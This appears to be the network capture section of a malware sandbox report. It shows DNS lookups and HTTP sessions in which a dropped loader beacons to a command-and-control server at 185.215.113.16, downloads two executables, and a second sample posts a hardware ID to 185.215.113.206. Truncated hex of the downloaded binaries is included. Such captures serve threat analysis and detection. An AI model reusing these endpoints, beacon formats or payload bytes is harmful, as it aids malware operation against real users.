Nov 12, 2024 05:03:18.829022884 CET	1.1.1.1	192.168.2.5	0x2b5e	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.829022884 CET	1.1.1.1	192.168.2.5	0x2b5e	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.835057974 CET	1.1.1.1	192.168.2.5	0xd5ae	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.839787006 CET	1.1.1.1	192.168.2.5	0x8c19	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:18.839787006 CET	1.1.1.1	192.168.2.5	0x8c19	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.846541882 CET	1.1.1.1	192.168.2.5	0xfe23	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.872816086 CET	1.1.1.1	192.168.2.5	0xaf47	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:18.872816086 CET	1.1.1.1	192.168.2.5	0xaf47	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:18.881043911 CET	1.1.1.1	192.168.2.5	0x439b	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:19.775737047 CET	1.1.1.1	192.168.2.5	0x9aef	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:19.775737047 CET	1.1.1.1	192.168.2.5	0x9aef	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:19.784919024 CET	1.1.1.1	192.168.2.5	0x710	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:20.200649977 CET	1.1.1.1	192.168.2.5	0xbacc	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:20.200649977 CET	1.1.1.1	192.168.2.5	0xbacc	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:20.200649977 CET	1.1.1.1	192.168.2.5	0xbacc	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:20.212153912 CET	1.1.1.1	192.168.2.5	0x354f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:20.262445927 CET	1.1.1.1	192.168.2.5	0x5b24	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 12, 2024 05:03:20.443420887 CET	1.1.1.1	192.168.2.5	0x1a21	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:42.711930990 CET	1.1.1.1	192.168.2.5	0x8532	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:42.711930990 CET	1.1.1.1	192.168.2.5	0x8532	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:42.718390942 CET	1.1.1.1	192.168.2.5	0x277	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 12, 2024 05:03:58.997448921 CET	1.1.1.1	192.168.2.5	0x47bd	No error (0)	youtube.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.007307053 CET	1.1.1.1	192.168.2.5	0x87e4	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 12, 2024 05:03:59.010046005 CET	1.1.1.1	192.168.2.5	0xf886	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:59.010046005 CET	1.1.1.1	192.168.2.5	0xf886	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.622396946 CET	1.1.1.1	192.168.2.5	0xb8da	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 05:03:59.622396946 CET	1.1.1.1	192.168.2.5	0xb8da	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 12, 2024 05:03:59.641367912 CET	1.1.1.1	192.168.2.5	0x5ff7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.16

185.215.113.206

detectportal.firefox.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49937	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:02.957572937 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:03.866154909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:03.868685007 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:04.160093069 CET	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 64 0d 0a 20 3c 63 3e 31 30 30 32 37 34 31 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 62 65 62 65 65 64 32 32 66 31 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 32 37 34 32 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 62 61 61 66 65 34 32 66 62 33 65 66 66 62 62 64 34 65 36 34 65 33 61 61 36 33 36 62 37 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bd <c>1002741001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1002742001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0baafe42fb3effbbd4e64e3aa636b77#<d>0
Nov 12, 2024 05:03:04.162106037 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 05:03:04.442787886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:04 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Tue, 12 Nov 2024 03:02:29 GMT Connection: keep-alive ETag: "6732c545-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 c6 04 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"j@j@M$a$ $b@.rsrc $r@.idata $r@ P+$t@mmgyxokdpPbv@ujjtsjxwj@.taggant0j"@
Nov 12, 2024 05:03:04.442806005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 05:03:04.442816973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 05:03:04.442827940 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 05:03:04.442886114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 05:03:04.442956924 CET	212	IN	Data Raw: a1 40 38 9f b5 cd 00 75 98 c9 1d 79 4a ed 43 31 5c 2a 48 e3 80 59 f8 f4 bd 5d aa 19 f4 05 da 39 03 21 2b ff 02 ef 0d dd bd 02 58 21 fb b5 ea 13 45 40 6a 72 db 6c 35 95 4c c8 0e 0d f5 f1 e9 8d dc fa e4 5c 6d f7 06 a0 8b 7b a0 29 98 da 1c 06 8f fe Data Ascii: @8uyJC1\*HY]9!+X!E@jrl5L\m{)30YK-Z%AJG[0}]M%1@grYeDffk1O"i/Pg;) A^_']n`<y09i2}\
Nov 12, 2024 05:03:04.442970037 CET	1236	IN	Data Raw: d9 e0 10 7e 6e eb 51 ef 8d 3c f4 17 9c 6c 59 01 b8 c3 f6 40 b7 da 93 a5 35 37 f7 0a 88 33 2d 79 99 02 fc fc 70 2f d0 52 8f d1 6f 27 dd 9e 77 26 c7 a9 32 24 52 f3 bc 86 9e 6f 5c fe 83 e6 08 cf 96 5c 1e ca a8 41 e6 3d 64 62 5f 6e d3 f7 aa 6a e4 3b Data Ascii: ~nQ<lY@573-yp/Ro'w&2$Ro\\A=db_nj;,p %jB1y8o%Mbr:a;P8}_9Wd^(gP.?nb(Z}d:}pv$n<^@<j(F;t}%*$
Nov 12, 2024 05:03:04.442981005 CET	1236	IN	Data Raw: 84 29 66 62 0c fd 5b 52 a1 f0 a8 97 4b 7a f0 6f 6d 77 46 53 57 08 9f df 39 f1 74 56 77 b2 dd 16 01 72 e7 6f 05 fe 05 bf c6 b4 62 54 98 2f 0d 29 8d 76 31 ee 05 b8 34 89 bc 03 95 19 cf 5f 61 cb 84 69 2d 1a 87 c6 d0 f3 cd ef 8d 79 66 8f e6 bc ca 35 Data Ascii: )fb[RKzomwFSW9tVwrobT/)v14_ai-yf5nHOT)-4,!>01`g,aXiLx]X.@;5`t)ldH:T<\@r i9f/?m\RcXRlalfi5Nd&d%
Nov 12, 2024 05:03:04.442994118 CET	1236	IN	Data Raw: c0 81 fe f0 fe 35 d7 2f 42 9f 2c c5 92 ad 60 37 78 72 1e fa a2 ed 41 35 92 2b bc 26 a8 74 fe e3 20 41 38 2c 17 2a f5 d5 99 fa 0b 9f 8e 9f 6c 5a 94 06 65 41 be ff 67 99 d7 89 ff 1e 5f ad 24 b8 d1 0a f9 48 87 ab 80 2f 42 47 2c 6d 8d 4d 64 b8 f4 8a Data Ascii: 5/B,`7xrA5+&t A8,*lZeAg_$H/BG,mMdM+W7(9i}!IA$a`GZTDxf`7t.25yX7,=`>icXeS{,W4;=f+i$%~,!%4`e.X34vp{qYp9"q
Nov 12, 2024 05:03:04.443006039 CET	636	IN	Data Raw: 1c f1 f4 0c bf a5 65 3a 3b 10 0b 19 a7 37 e8 c5 9d 45 ed bd c9 3f 04 2d 92 2b 04 26 bc 73 fd a7 a4 52 2c 4d 92 39 60 65 c0 2b 59 b9 a8 cc e4 8c 00 0b 34 a0 be 50 2c 23 04 8a f2 b0 84 95 7d 6d cd 46 63 35 b1 99 7d 2e 38 f2 d9 26 b4 fd ad c6 44 6d Data Ascii: e:;7E?-+&sR,M9`e+Y4P,#}mFc5}.8&Dm6)y6yf<S@dEq%*L,E)d\<9Yz<a}.v`W)-i D&uA<n5+&hqYp`h_;0-jT+mVYy`+
Nov 12, 2024 05:03:04.443528891 CET	1236	IN	Data Raw: 64 11 ac 2b be c9 ed 50 0a f9 c5 21 44 d9 2a 1d af 71 8c 9e 0d bd 56 7e e0 56 7e 18 8c 1c 02 39 87 ff c3 d3 88 1b f0 4c 00 fa 27 5a 1f b9 e0 85 24 f5 67 ec dc 8c f2 c8 9e b5 ed a6 90 0b 63 62 04 c6 f5 24 3c 6d 84 a2 c4 62 68 7f a8 95 10 9e bc 8d Data Ascii: d+P!DqV~V~9L'Z$gcb$<mbhZ&\|m,t7+)IcL8D rQ$ps--W>!^n-5!47YVp(+a+D9Mmh&/c6t!J)<:*=wi#W(qT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49958	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:06.537976027 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002741001&unit=246122658369
Nov 12, 2024 05:03:07.435844898 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Nov 12, 2024 05:03:07.641874075 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 05:03:07.914707899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:07 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Tue, 12 Nov 2024 03:01:08 GMT Connection: keep-alive ETag: "6732c4f4-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ec c4 32 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL2g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 12, 2024 05:03:07.914732933 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 12, 2024 05:03:07.914743900 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 12, 2024 05:03:07.914783001 CET	212	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D
Nov 12, 2024 05:03:07.914858103 CET	1236	IN	Data Raw: e8 2e e8 01 00 8b f3 c7 87 2c fd ff ff 40 c9 49 00 59 39 9f 34 fd ff ff 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff Data Ascii: .,@IY9404Y$<IvY-l\L_^[`t
Nov 12, 2024 05:03:07.914947987 CET	1236	IN	Data Raw: 0f 85 72 0c 04 00 56 6a 40 e8 18 e3 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 Data Ascii: rVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I I
Nov 12, 2024 05:03:07.914959908 CET	1236	IN	Data Raw: 00 00 56 50 ff 75 0c ff 75 08 e8 a8 cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 Data Ascii: VPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u
Nov 12, 2024 05:03:07.914973021 CET	1236	IN	Data Raw: 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d Data Ascii: uE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE
Nov 12, 2024 05:03:07.914983988 CET	1236	IN	Data Raw: c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 Data Ascii: UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FM
Nov 12, 2024 05:03:07.915702105 CET	1060	IN	Data Raw: 22 fe 03 00 8b d6 8b ce e8 90 0c 00 00 8b d6 8b ce e8 8a ff ff ff ff 75 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 Data Ascii: "uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtI
Nov 12, 2024 05:03:07.915855885 CET	1236	IN	Data Raw: 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 51 56 b9 90 19 4d 00 e8 0c 00 00 00 eb b4 6a 00 ff 15 14 c7 49 00 eb aa 55 8b ec 83 ec 3c 53 56 57 6a 2c 8d Data Ascii: $IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49974	185.215.113.206	80	1992	C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:09.512115002 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 05:03:10.576776981 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 05:03:10.583235979 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 46 31 45 45 46 30 42 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"FC6F1EEF0BF42681209724------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"mars------FBAFIIJKJEGIDGDGIIDH--
Nov 12, 2024 05:03:10.872168064 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 04:03:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49978	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:09.834011078 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002742001&unit=246122658369
Nov 12, 2024 05:03:10.747045040 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49981	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:10.865618944 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
